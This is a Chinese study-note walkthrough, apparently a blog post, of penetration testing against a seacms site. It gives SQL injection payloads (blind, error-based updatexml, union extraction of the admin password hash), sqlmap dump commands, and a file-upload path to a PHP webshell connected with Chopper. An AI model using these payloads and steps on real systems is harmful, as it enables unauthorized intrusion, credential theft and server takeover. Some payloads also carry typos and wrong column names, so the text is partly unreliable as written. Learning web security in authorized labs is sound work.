26~27日基本把时间花在sql上了,28日学习内容待整理中。
我们为什么要做渗透测试?
当代很多企业在保护关键基础设施的安全计划中投入了数百万美元,来找出防护盾的缝隙,防止敏感数据外泄。
渗透测试是指能够识别出这些安全计划中的系统脆弱点与不足之处的一种最为有效的技术方式。
通过模拟黑客入侵尝试挫败安全控制设施并绕开安全防御机制,渗透测试工程师能够找出攻击者可能攻陷企业安全计划、并对企业带来严重破坏后果的方法。
案例(一)
SQL注入:
SQL注入指的是发生在Web应用对后台数据库查询语句处理存在的安全漏洞,简单的说,就是在输入字符串中嵌入SQL指令,在设计程序中忽略了对特殊字符串的检查,这些嵌入的指令便会被误认为正常的SQL指令,在数据库中执行,因此可以对后台数据库进行查看等工作,甚至破快后台数据库造成严重后果。
目前SQL注入大致分为普通注入和盲注:
-
普通注入:根据后台数据库提示有价值的错误信息进行注入
-
盲注:有经验的管理员在给出错误页面时,没有提供详细的错误信息。测试者需要运用脚本通过仅有的判断信息(比如:时间差)对表中的每一个字段进行探测,从而实现注入的技术。(盲注的难度较大,但注入测试中经常会遇到,实用性较高)
检测某个网站时打开id=?页面时,可以打开开发者模式 选择network 查看网页都加载了哪些内容
去分析它的URL内容
?r=content&cid=5
这里的r可能指的是某个模块点 比如将r=改成about 打开的就是关于XX页面 download就是下载页面等等 id=5表示这篇文章在该网站的数据库的编号为5
1.首先我们如何判断是否有注入,一般加个',然后我们看到报错,告诉我们这里存在了一个语法错误。
添加一个与语句闭合有关的,比如单引号,双引号,括号,多个括号等等。涉及到语句闭合的字符让网站出现SQL报错,而不是服务端程序的报错。
我们可以看到报错内容里有三个单引号,外面2个单引号属于这个报错语句的内容,也就是说这个内容里本身就有。中间的单引号是我们添加进去的
我们也可以在后面添加一些内容,得到如下结果
因此我们可以大胆猜测,这条语句应该为select *from content where cid=&_Get{cid}
也就是说我们刚才输入的内容在这里为
正常情况下,数据库希望我们输入的是5这个数字。但它走到单引号后的内容时,会先做词法分析,再做语法分析,会发现有问题,不应该有这段内容,所以报错。这是典型的一个整形注入
比如,id=5-1时,会出现ID为4的页面,直接输入id=4时,还是5-1的页面,所以我们判断此处是一个整型注入,它没有被一些特殊的字符串所闭合。
而且此处可以使用时间盲注。
也就是 and sleep(3)--+- 来进行闭合
此时页面开始出现延迟
也就是说用户的语句被拼接进了我们的SQL语句被执行了
下面开始布尔盲注
and 1=1--+- --+-(指的是注释的方式)
此时我们在服务端里的语句执行是这样的:select * from content where cid=5 and 1=1
and 必须左右都是真的时候,才会响应数据,所以当1=2的时候就会报错
此处的cid 就是我们的注入点
下一步获取数据库的一些信息
ps:关于hackbar的使用:https://mrxn.net/hacktools/617.html
首先通过报错注入的方式获取数据信息
and (updatetexml(1,concat(0x7e,(select user()),0x7e),1))--+-
效果:数据库报错,seacms@localhost Mysql数据库的用户名直接爆出
我们可以看到语法里有个0x7e 这是个16进制的编码,7e其实就是我们的小波浪号~
concat指的是字符串的连接 前面一个波浪号,后面一个波浪号,我们通过concat的方式把它们连接起来
updatexml这里本来是需要我们输入的XML一个语法形式的数据,但是我们输入的内容是seacms@localhost,所以它不能被这个函数正常执行
也就是说我们使用了Update这个函数的特性来执行了这个报错,Mysql中还有很多类似的语句
and (updatexml(1,concat(0x7e,(select database()),0x7e,),1))--+-
获得数据库名:seacms
and (updatexml(1,concat(0x7e,(select version()),0x7e,),1))--+-
爆出版本号 5.6.44
通过修改select xxxx()这个语句获取数据库的一些信息
接下来是union注入获取数据库的数据
union select联合查询是指将前后数据的结果返回出来
举例:select 1,2,3 from mysql.user union select 4,5,6
得到的返回结果为
1,2,3
4,5,6
也就是说我们原生的数据为select 1,2,3 from mysql.user,我们通过union select 456让它多出来一个语句
当我们加入456这个无意义的数据后,如果我们将5改为user()后呢?
select 1,2,3 from mysql.user union select 4,user(),6
那么我们就会像刚才报错注入方式的那样,查询出数据库用户名
4,seacms@localhost,6
那么重点来了,我们刚才123 456是同样的字段,那么我们怎么判断有多少字段呢,我们首先必须知道它原本的sql语句查询了几个字段。
我们可以使用order by的方式,order by会依赖后面的字段进行排序,order by 1就从第1个字段开始,order by 2就会从第2个字段开始。
那么我们首先从20开始 发现报错,unknown columns 说明没有发现这个列
用10页面正常,14不存在,所以我们判断它有13个列。
然后我们就可以开始使用Union的方式进行注入
这里我们说一下--+-的用法
如果语句中前面有个单引号闭合的 如 cid=1 ' union select 1,2,3,4,5 那么5后面就会多出一个单引号,我们就必须在5后面加上--+-用这个注释的方式将单引号注释掉,但是此处它前面是个整数。所以--+-可有可无
然后开始注入,发现cid=1 union select 1,2,3,4,5页面正常,为什么呢,我们开始思考一下这个开发人员的逻辑。
首先,cid=1,它才查询出1条行为,也就是我们这个页面,它只显示1条信息,而我们的union select,前面本身就从数据库查询出来,Union select又给了它一条数据,但是我们正常页面只能显示1条数据,也就是说在后端,只把第1条信息输出到了我们看到的页面,所以说这条语句的2条信息,只有前面的信息被显示出来,那么我们怎么让它显示后面的数据而不显示前面的数据呢?
那我们让前面查不到就OK了。比如说我们输入一个 -1
我们发现页面报错了,这个3原本是个tittle的位置,但是页面上还有别的数字,如果我们不放心,可以在3后面加几个数字测试一下是不是这个,比如加上444,页面也变成了3444
那么我们就可以通过这个位置来显示出我们要查询的一个内容
开始执行语句:union select 1.2,user(),4,5,6,7,8,9,10,11,12,13
此时页面上的3变为了数据库的用户名 seacms@localhost
==================
OK,下一步我们就要尝试获得管理员权限。因为只有获得了足够的信息,我们才可能突破层层防御进入到站点的后台或获取其数据库数据。
数据库的结构
数据库 数据表 列 字段
数据
通过union的方式注入获得表名,列名,字段
在MySQL中,有个特殊的数据,叫 information_schema 它存储了Mysql中的语言数据,包括它里面有个表,叫.tables 还有个叫columns,就是列
执行语句:union select 1,2,table_name,4,5,6,7,8,9,10,11,12,13 from information_schema.tables where schema_name=’seacms‘ limit 0,1
seacms是前面我们用database函数得知的数据库名 limit 0,1指我们先查询出第一条
得到我们第一个表名:adword 很明显这不属于管理员的表。我们开始通过改变limit这个函数来查看这个表,如limit 1,1 limit2,1 limit 3,1
当我们检测到limit 6,1时,发现Manage这个表名。
union select 1,2,table_name,4,5,6,7,8,9,10,11,12,13 from information_schema.tables where schema_name=’seacms‘ limit 6,1
查询列名columns如下
union select 1,2,columns_name,4,5,6,7,8,9,10,11,12,13 from information_schema.columns where schema_name=’seacms‘ and table_name='mannage' limit 0,1
注意limit函数从0开始查 1,1 2,1 3,1 最终查到manage表下有user,password两个列
此时改变新的语句 union select 1,2,user,4,5,6,7,8,9,10,11,12,13 from manage limit 0,1
查出user名为admin
我们再查它的password字段
union select 1,2,password,4,5,6,7,8,9,10,11,12,13 from manage limit 0,1
爆出MD5
32位的MD5值是一种hash的不可逆的编码方式。(cmd5解密)
接下来找后台,用御剑这种工具就行。
Tips:我们可以通过network去判断一下该网站的架构,比如正常页面显示为
我们在域名后加上index.php,正常的,当输入index.html,会有404,说明它没有
简单判断就好,比如这个CMS也可以去搜一下,最后得知该网站为Php语言架构。
开始扫描,得到admin123这个后台
用刚才注入获取的账号密码成功登录
文件上传,文件包含,命令执行,代码注入等可以直接向服务端执行的。而sql注入这些必须通过提取的方式去获取webshell。
所以我们可以先尝试前面几种,直接能拿到权限的,比如找找后台有没有上传图片的地方
我们通过寻找发现有水印上传这个功能,我们通过抓包尝试,打开Burpsuite(记得开浏览器代理)
选择文件后点上传,得到如下
我们把数据放到repeater里面
选择GO,看看能不能上传上去
OK,再返回该上传页面,得到的路径就是我们所上传的
我们可以上传一个Php的文件尝试一下
这里的phpinfo是快速判断Php环境的一个函数
发现可以执行,这时候我们可以将语句改成菜刀可以连接的一个小马语句
打开后为空白页面,已上传成功。可以通过Network的方式判断
最后通过菜刀成功连接,我们可以通过虚拟终端的功能
执行whoami命令,可以得知我们是www的权限
End....
关于sqlmap
boolean-based 布尔盲注,也就是前面的and 1=1
error-based 报错注入 加单引号报错就是这个
And/OR time-based 时间盲注 and sleep(5)
union 注入
--current-db 得到seacms
之后-D seacms --tables
接下来 -D seacms -T manage --columns
获得列名
之后我们用 -D seacms -T manage -C user,password --dump
End....
XSS到Webshell
弱口令到root权限
来源:https://www.cnblogs.com/geeklevi/p/11939385.html